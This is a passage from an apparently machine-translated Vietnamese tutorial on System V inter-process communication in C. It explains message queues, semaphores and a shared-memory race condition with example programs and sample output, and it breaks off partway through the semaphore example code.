"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Tại sao chúng ta cần hàng đợi tin nhắn khi chúng ta đã có bộ nhớ dùng chung? Sẽ có nhiều lý do, chúng ta hãy cố gắng chia điều này thành nhiều điểm để đơn giản hóa -
Như đã hiểu, khi một quá trình nhận được thông báo, nó sẽ không còn khả dụng cho bất kỳ quá trình nào khác. Trong khi trong bộ nhớ dùng chung, dữ liệu có sẵn cho nhiều quá trình truy cập.
Nếu chúng ta muốn giao tiếp với các định dạng tin nhắn nhỏ.
Dữ liệu bộ nhớ dùng chung cần được bảo vệ bằng đồng bộ hóa khi nhiều tiến trình giao tiếp cùng một lúc.
Tần suất ghi và đọc bằng bộ nhớ dùng chung cao, khi đó sẽ rất phức tạp để triển khai chức năng. Không đáng để sử dụng trong những trường hợp này.
Điều gì sẽ xảy ra nếu tất cả các tiến trình không cần truy cập vào bộ nhớ dùng chung nhưng rất ít tiến trình chỉ cần nó, sẽ tốt hơn nếu thực hiện với hàng đợi tin nhắn.
Nếu chúng ta muốn giao tiếp với các gói dữ liệu khác nhau, giả sử quy trình A đang gửi thông báo loại 1 đến quy trình B, thông báo loại 10 để xử lý C và thông báo loại 20 để xử lý D. Trong trường hợp này, việc triển khai với hàng đợi thông báo đơn giản hơn. Để đơn giản hóa loại thông báo đã cho là 1, 10, 20, nó có thể là 0 hoặc + ve hoặc –ve như thảo luận bên dưới.
Tất nhiên, thứ tự của hàng đợi tin nhắn là FIFO (First In First Out). Tin nhắn đầu tiên được chèn trong hàng đợi là tin nhắn đầu tiên được truy xuất.
Việc sử dụng Bộ nhớ dùng chung hoặc Hàng đợi tin nhắn tùy thuộc vào nhu cầu của ứng dụng và mức độ hiệu quả của ứng dụng.
Giao tiếp bằng cách sử dụng hàng đợi tin nhắn có thể xảy ra theo những cách sau:
Ghi vào bộ nhớ dùng chung bằng một quá trình và đọc từ bộ nhớ dùng chung bằng một quá trình khác. Như chúng ta đã biết, việc đọc cũng có thể được thực hiện với nhiều quá trình.
Ghi vào bộ nhớ dùng chung bởi một quá trình với các gói dữ liệu khác nhau và đọc từ đó bằng nhiều quá trình, tức là theo loại thông báo.
Sau khi thấy thông tin nhất định về hàng đợi tin nhắn, bây giờ là lúc kiểm tra lệnh gọi hệ thống (Hệ thống V) hỗ trợ hàng đợi tin nhắn.
Để thực hiện liên lạc bằng cách sử dụng hàng đợi tin nhắn, sau đây là các bước:
Step 1 - Tạo một hàng đợi tin nhắn hoặc kết nối với một hàng đợi tin nhắn đã tồn tại (msgget ())
Step 2 - Viết vào hàng đợi tin nhắn (msgsnd ())
Step 3 - Đọc từ hàng đợi tin nhắn (msgrcv ())
Step 4 - Thực hiện các thao tác điều khiển trên hàng đợi tin nhắn (msgctl ())
Bây giờ, chúng ta hãy kiểm tra cú pháp và một số thông tin về các cuộc gọi trên.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
Lệnh gọi hệ thống này tạo hoặc phân bổ hàng đợi thông điệp Hệ thống V. Các đối số sau cần được truyền:
Đối số đầu tiên, khóa, nhận dạng hàng đợi tin nhắn. Khóa có thể là một giá trị tùy ý hoặc một giá trị có thể được dẫn xuất từ hàm thư viện ftok ().
Đối số thứ hai, shmflg, chỉ định cờ / s hàng đợi tin nhắn bắt buộc như IPC_CREAT (tạo hàng đợi tin nhắn nếu không tồn tại) hoặc IPC_EXCL (Được sử dụng với IPC_CREAT để tạo hàng đợi tin nhắn và cuộc gọi không thành công, nếu hàng đợi tin nhắn đã tồn tại). Cần phải vượt qua các quyền.
Note - Tham khảo các phần trước để biết chi tiết về quyền.
Cuộc gọi này sẽ trả về một định danh hàng đợi tin nhắn hợp lệ (được sử dụng cho các cuộc gọi tiếp theo của hàng đợi tin nhắn) khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
Các lỗi khác nhau liên quan đến lệnh gọi này là EACCESS (quyền bị từ chối), EEXIST (hàng đợi đã tồn tại không thể tạo), ENOENT (hàng đợi không tồn tại), ENOMEM (không đủ bộ nhớ để tạo hàng đợi), v.v.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
Lệnh gọi hệ thống này gửi / nối một tin nhắn vào hàng đợi tin nhắn (Hệ thống V). Các đối số sau cần được truyền:
Đối số đầu tiên, msgstr, nhận dạng hàng đợi thông báo, tức là, định danh hàng đợi thông báo. Giá trị định danh được nhận khi thành công của msgget ()
Đối số thứ hai, msgp, là con trỏ đến thông báo, được gửi đến người gọi, được định nghĩa trong cấu trúc của biểu mẫu sau:
struct msgbuf {
long mtype;
char mtext[1];
};
Biến mtype được sử dụng để giao tiếp với các kiểu thông báo khác nhau, được giải thích chi tiết trong lệnh gọi msgrcv (). Biến mtext là một mảng hoặc cấu trúc khác có kích thước được chỉ định bởi msgsz (giá trị dương). Nếu trường mtext không được đề cập, thì nó được coi là thông báo kích thước bằng không, được phép.
Đối số thứ ba, msgsz, là kích thước của thông báo (thông báo phải kết thúc bằng ký tự rỗng)
Đối số thứ tư, msgflg, chỉ ra các cờ nhất định như IPC_NOWAIT (trả về ngay lập tức khi không tìm thấy thông báo nào trong hàng đợi hoặc MSG_NOERROR (cắt bớt văn bản thông báo, nếu nhiều hơn msgsz byte)
Lệnh gọi này sẽ trả về 0 khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
Lệnh gọi hệ thống này lấy tin nhắn từ hàng đợi tin nhắn (Hệ thống V). Các đối số sau cần được truyền:
Đối số đầu tiên, msgstr, nhận dạng hàng đợi thông báo, tức là, định danh hàng đợi thông báo. Giá trị định danh được nhận khi thành công của msgget ()
Đối số thứ hai, msgp, là con trỏ của thông báo nhận được từ người gọi. Nó được định nghĩa trong cấu trúc của biểu mẫu sau:
struct msgbuf {
long mtype;
char mtext[1];
};
Kiểu biến được sử dụng để giao tiếp với các kiểu thông báo khác nhau. Biến mtext là một mảng hoặc cấu trúc khác có kích thước được chỉ định bởi msgsz (giá trị dương). Nếu trường mtext không được đề cập, thì nó được coi là thông báo kích thước bằng không, được phép.
Đối số thứ ba, msgsz, là kích thước của tin nhắn nhận được (tin nhắn phải kết thúc bằng ký tự rỗng)
Đối số fouth, msgtype, cho biết loại thông báo -
If msgtype is 0 - Đọc tin nhắn nhận được đầu tiên trong hàng đợi
If msgtype is +ve - Đọc tin nhắn đầu tiên trong hàng đợi kiểu msgtype (nếu msgtype là 10, thì chỉ đọc tin nhắn đầu tiên của kiểu 10 mặc dù các kiểu khác có thể nằm trong hàng đợi ở đầu)
If msgtype is –ve - Đọc thông báo đầu tiên của loại thấp nhất nhỏ hơn hoặc bằng giá trị tuyệt đối của loại thông báo (giả sử, nếu loại tin nhắn là -5, thì nó đọc thông báo đầu tiên của loại nhỏ hơn 5 tức là loại thông báo từ 1 đến 5)
Đối số thứ năm, msgflg, chỉ ra một số cờ nhất định như IPC_NOWAIT (trả về ngay lập tức khi không tìm thấy thông báo nào trong hàng đợi hoặc MSG_NOERROR (cắt bớt văn bản thông báo nếu nhiều hơn msgsz byte)
Lệnh gọi này sẽ trả về số byte thực sự nhận được trong mảng mtext khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
Lời gọi hệ thống này thực hiện các hoạt động điều khiển hàng đợi tin nhắn (Hệ thống V). Các đối số sau cần được truyền:
Đối số đầu tiên, msgstr, nhận dạng hàng đợi thông báo, tức là, định danh hàng đợi thông báo. Giá trị định danh được nhận khi thành công của msgget ()
Đối số thứ hai, cmd, là lệnh để thực hiện thao tác điều khiển cần thiết trên hàng đợi tin nhắn. Giá trị hợp lệ cho cmd là -
IPC_STAT- Sao chép thông tin về các giá trị hiện tại của từng thành viên trong struct msqid_ds vào cấu trúc được truyền bởi buf. Lệnh này yêu cầu quyền đọc trên hàng đợi tin nhắn.
IPC_SET - Đặt ID người dùng, ID nhóm của chủ sở hữu, quyền, v.v. được trỏ đến theo cấu trúc buf.
IPC_RMID - Loại bỏ hàng đợi tin nhắn ngay lập tức.
IPC_INFO - Trả về thông tin về giới hạn hàng đợi thông báo và các tham số trong cấu trúc được trỏ bởi buf, thuộc kiểu struct msginfo
MSG_INFO - Trả về một cấu trúc msginfo chứa thông tin về tài nguyên hệ thống được tiêu thụ bởi hàng đợi tin nhắn.
Đối số thứ ba, buf, là một con trỏ đến cấu trúc hàng đợi thông báo có tên struct msqid_ds. Các giá trị của cấu trúc này sẽ được sử dụng cho cả set hoặc get theo cmd.
Lệnh gọi này sẽ trả về giá trị tùy thuộc vào lệnh được truyền. Thành công của IPC_INFO và MSG_INFO hoặc MSG_STAT trả về chỉ mục hoặc mã định danh của hàng đợi thông báo hoặc 0 cho các hoạt động khác và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
Đã xem thông tin cơ bản và các cuộc gọi hệ thống liên quan đến hàng đợi tin nhắn, bây giờ đã đến lúc kiểm tra với một chương trình.
Hãy để chúng tôi xem mô tả trước khi xem chương trình -
Step 1 - Tạo hai quy trình, một là để gửi vào hàng đợi tin nhắn (msgq_send.c) và một là để lấy từ hàng đợi tin nhắn (msgq_recv.c)
Step 2- Tạo khóa, sử dụng hàm ftok (). Đối với điều này, ban đầu tệp msgq.txt được tạo để nhận một khóa duy nhất.
Step 3 - Quá trình gửi thực hiện như sau.
Đọc đầu vào chuỗi từ người dùng
Xóa dòng mới, nếu nó tồn tại
Gửi vào hàng đợi tin nhắn
Lặp lại quá trình cho đến khi kết thúc đầu vào (CTRL + D)
Khi kết thúc đầu vào được nhận, gửi thông báo “kết thúc” để biểu thị sự kết thúc của quá trình
Step 4 - Trong quá trình nhận, thực hiện như sau.
- Đọc tin nhắn từ hàng đợi
- Hiển thị đầu ra
- Nếu thông báo nhận được là "kết thúc", hãy kết thúc quá trình và thoát
Để đơn giản hóa, chúng tôi không sử dụng loại thông báo cho mẫu này. Ngoài ra, một quá trình đang ghi vào hàng đợi và một quá trình khác đang đọc từ hàng đợi. Điều này có thể được mở rộng khi cần thiết, tức là, lý tưởng nhất là một quá trình sẽ ghi vào hàng đợi và nhiều quá trình được đọc từ hàng đợi.
Bây giờ, chúng ta hãy kiểm tra quá trình (tin nhắn gửi vào hàng đợi) - Tệp: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Các bước biên dịch và thực hiện
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
Sau đây là đoạn mã từ quá trình nhận tin nhắn (lấy tin nhắn từ hàng đợi) - Tệp: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Các bước biên dịch và thực hiện
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
Câu hỏi đầu tiên xuất hiện trong đầu là, tại sao chúng ta cần semaphores? Một câu trả lời đơn giản, để bảo vệ vùng quan trọng / chung được chia sẻ giữa nhiều quy trình.
Hãy giả sử rằng, nhiều quy trình đang sử dụng cùng một vùng mã và nếu tất cả đều muốn truy cập song song thì kết quả sẽ bị chồng chéo. Ví dụ: giả sử nhiều người dùng chỉ sử dụng một máy in (phần phổ biến / quan trọng), giả sử 3 người dùng, được giao 3 công việc cùng một lúc, nếu tất cả các công việc bắt đầu song song, thì đầu ra của một người dùng sẽ bị chồng lên nhau. Vì vậy, chúng ta cần bảo vệ điều đó bằng cách sử dụng semaphores, tức là khóa phần quan trọng khi một tiến trình đang chạy và mở khóa khi nó được thực hiện xong. Điều này sẽ được lặp lại cho mỗi người dùng / quy trình để một công việc không bị chồng chéo với công việc khác.
Về cơ bản semaphores được phân thành hai loại -
Binary Semaphores - Chỉ có hai trạng thái 0 & 1, tức là đã khóa / mở khóa hoặc có sẵn / không khả dụng, triển khai Mutex.
Counting Semaphores - Semaphores cho phép đếm tài nguyên tùy ý được gọi là semaphores đếm.
Giả sử rằng chúng ta có 5 máy in (có thể hiểu rằng 1 máy in chỉ chấp nhận 1 lệnh in) và chúng ta có 3 lệnh in. Bây giờ 3 công việc sẽ được đưa ra cho 3 máy in (mỗi máy 1 cái). Một lần nữa 4 công việc đến trong khi điều này đang được tiến hành. Bây giờ, trong số 2 máy in khả dụng, 2 công việc đã được lên lịch và chúng tôi còn lại 2 công việc nữa, sẽ chỉ hoàn thành sau khi một trong các tài nguyên / máy in có sẵn. Loại lập lịch này tùy theo khả năng cung cấp tài nguyên có thể được xem như đếm các bán nguyệt san.
Để thực hiện đồng bộ hóa bằng semaphores, sau đây là các bước:
Step 1 - Tạo một semaphore hoặc kết nối với một semaphore đã tồn tại (semget ())
Step 2 - Thực hiện các hoạt động trên semaphore, tức là cấp phát hoặc giải phóng hoặc đợi tài nguyên (semop ())
Step 3 - Thực hiện các thao tác điều khiển trên hàng đợi tin nhắn (semctl ())
Bây giờ, chúng ta hãy kiểm tra điều này với các lệnh gọi hệ thống mà chúng ta có.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
Lệnh gọi hệ thống này tạo hoặc cấp phát một tập semaphore System V. Các đối số sau cần được truyền:
Đối số đầu tiên, khóa, nhận dạng hàng đợi tin nhắn. Khóa có thể là một giá trị tùy ý hoặc một giá trị có thể được dẫn xuất từ hàm thư viện ftok ().
Đối số thứ hai, nsems, chỉ định số lượng các semaphores. Nếu nhị phân thì nó là 1, có nghĩa là cần 1 bộ semaphore, nếu không thì theo yêu cầu đếm số lượng bộ semaphore.
Đối số thứ ba, semflg, chỉ định / s cờ semaphore bắt buộc như IPC_CREAT (tạo semaphore nếu nó không tồn tại) hoặc IPC_EXCL (được sử dụng với IPC_CREAT để tạo semaphore và cuộc gọi không thành công, nếu một semaphore đã tồn tại). Cần phải vượt qua các quyền.
Note - Tham khảo các phần trước để biết chi tiết về quyền.
Lệnh gọi này sẽ trả về định danh semaphore hợp lệ (được sử dụng cho các lệnh gọi tiếp theo của semaphores) khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
Các lỗi khác nhau liên quan đến lệnh gọi này là EACCESS (quyền bị từ chối), EEXIST (hàng đợi đã tồn tại không thể tạo), ENOENT (hàng đợi không tồn tại), ENOMEM (không đủ bộ nhớ để tạo hàng đợi), ENOSPC (giới hạn bộ tối đa vượt quá), v.v.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
Lệnh gọi hệ thống này thực hiện các hoạt động trên bộ semaphore System V, phân bổ tài nguyên, chờ đợi tài nguyên hoặc giải phóng tài nguyên. Các đối số sau cần được truyền:
Đối số đầu tiên, semid, chỉ ra mã định danh tập hợp semaphore được tạo bởi semget ().
Đối số thứ hai, semops, là con trỏ đến một mảng các hoạt động sẽ được thực hiện trên tập hợp semaphore. Cấu trúc như sau:
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
Phần tử, sem_op, trong cấu trúc trên, cho biết thao tác cần được thực hiện -
Nếu sem_op là –ve, cấp phát hoặc lấy tài nguyên. Chặn quá trình gọi cho đến khi các quá trình khác giải phóng đủ tài nguyên để quá trình này có thể cấp phát.
Nếu sem_op bằng 0, quá trình gọi sẽ đợi hoặc ngủ cho đến khi giá trị semaphore bằng 0.
Nếu sem_op là + ve, hãy giải phóng tài nguyên.
Ví dụ -
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
Đối số thứ ba, nsemops, là số lượng các phép toán trong mảng đó.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
Lệnh gọi hệ thống này thực hiện hoạt động điều khiển cho một semaphore Hệ thống V. Các đối số sau cần được truyền:
Đối số đầu tiên, semid, là định danh của semaphore. Id này là định danh semaphore, là giá trị trả về của lệnh gọi hệ thống semget ().
Đối số thứ hai, semnum, là số lượng semaphore. Các semaphores được đánh số từ 0.
Đối số thứ ba, cmd, là lệnh để thực hiện thao tác điều khiển cần thiết trên semaphore.
Đối số thứ tư, kiểu, semun union, phụ thuộc vào cmd. Đối với một số trường hợp, đối số thứ tư không được áp dụng.
Hãy để chúng tôi kiểm tra hiệp hội -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
Cấu trúc dữ liệu semid_ds được định nghĩa trong sys / sem.h như sau:
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Vui lòng tham khảo các trang hướng dẫn sử dụng cho các cấu trúc dữ liệu khác.
công đoàn semun arg; Giá trị hợp lệ cho cmd là -
IPC_STAT- Sao chép thông tin về các giá trị hiện tại của từng thành viên trong struct semid_ds vào cấu trúc được trỏ bởi arg.buf. Lệnh này yêu cầu quyền đọc đối với semaphore.
IPC_SET - Đặt ID người dùng, ID nhóm của chủ sở hữu, quyền, v.v. được trỏ đến bởi cấu trúc semid_ds.
IPC_RMID - Loại bỏ tập hợp semaphores.
IPC_INFO - Trả về thông tin về các giới hạn semaphore và các tham số trong cấu trúc semid_ds được trỏ bởi arg .__ buf.
SEM_INFO - Trả về một cấu trúc seminfo chứa thông tin về các tài nguyên hệ thống được semaphore tiêu thụ.
Lệnh gọi này sẽ trả về giá trị (giá trị không âm) tùy thuộc vào lệnh được truyền. Khi thành công, IPC_INFO và SEM_INFO hoặc SEM_STAT trả về chỉ mục hoặc mã định danh của mục nhập được sử dụng cao nhất theo Semaphore hoặc giá trị của semncnt cho GETNCNT hoặc giá trị của sempid cho GETPID hoặc giá trị của semval cho GETVAL 0 đối với các hoạt động khác khi thành công và - 1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
Trước khi xem mã, hãy để chúng tôi hiểu cách triển khai của nó -
Tạo hai quy trình nói, con và mẹ.
Tạo bộ nhớ chia sẻ chủ yếu cần thiết để lưu bộ đếm và các cờ khác để chỉ báo kết thúc quá trình đọc / ghi vào bộ nhớ dùng chung.
Bộ đếm được tăng lên theo số đếm bởi cả quy trình mẹ và con. Số đếm được chuyển dưới dạng đối số dòng lệnh hoặc được lấy làm mặc định (nếu không được chuyển dưới dạng đối số dòng lệnh hoặc giá trị nhỏ hơn 10000). Được gọi với thời gian ngủ nhất định để đảm bảo cả cha và con đều truy cập vào bộ nhớ dùng chung cùng một lúc, tức là song song.
Vì bộ đếm được tăng lên theo từng bước 1 bởi cả cha và con, giá trị cuối cùng phải gấp đôi bộ đếm. Vì cả tiến trình mẹ và con thực hiện các hoạt động cùng một lúc, bộ đếm không được tăng lên theo yêu cầu. Do đó, chúng ta cần đảm bảo tính hoàn chỉnh của một quá trình hoàn thành sau đó là quá trình khác.
Tất cả các triển khai trên được thực hiện trong tệp shm_write_cntr.c
Kiểm tra xem giá trị bộ đếm có được triển khai trong tệp shm_read_cntr.c không
Để đảm bảo hoàn thành, chương trình semaphore được thực hiện trong tệp shm_write_cntr_with_sem.c. Loại bỏ semaphore sau khi hoàn thành toàn bộ quá trình (sau khi đọc xong từ chương trình khác)
Vì chúng ta có các tệp riêng biệt để đọc giá trị của bộ đếm trong bộ nhớ dùng chung và không có bất kỳ ảnh hưởng nào từ việc ghi, chương trình đọc vẫn giữ nguyên (shm_read_cntr.c)
Luôn luôn tốt hơn nếu thực hiện chương trình viết trong một thiết bị đầu cuối và đọc chương trình từ một thiết bị đầu cuối khác. Vì chương trình chỉ hoàn thành việc thực thi sau khi quá trình ghi và đọc hoàn tất, nên có thể chạy chương trình sau khi thực hiện hoàn toàn chương trình ghi. Chương trình ghi sẽ đợi cho đến khi chương trình đọc được chạy và chỉ kết thúc sau khi hoàn tất.
Các chương trình không có semaphores.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Các bước biên dịch và thực hiện
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Bây giờ, chúng ta hãy kiểm tra chương trình đọc bộ nhớ được chia sẻ.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Các bước biên dịch và thực hiện
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Nếu bạn quan sát kết quả đầu ra ở trên, bộ đếm phải là 20000, tuy nhiên, vì trước khi hoàn thành một tác vụ quá trình, quá trình khác cũng đang xử lý song song nên giá trị bộ đếm không như mong đợi. Đầu ra sẽ khác nhau giữa các hệ thống và nó cũng sẽ thay đổi theo mỗi lần thực thi. Để đảm bảo hai quá trình thực hiện nhiệm vụ sau khi hoàn thành một nhiệm vụ, nó nên được thực hiện bằng cách sử dụng cơ chế đồng bộ hóa.
Bây giờ, chúng ta hãy kiểm tra cùng một ứng dụng bằng cách sử dụng semaphores.
Note - Chương trình đọc được giữ nguyên.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
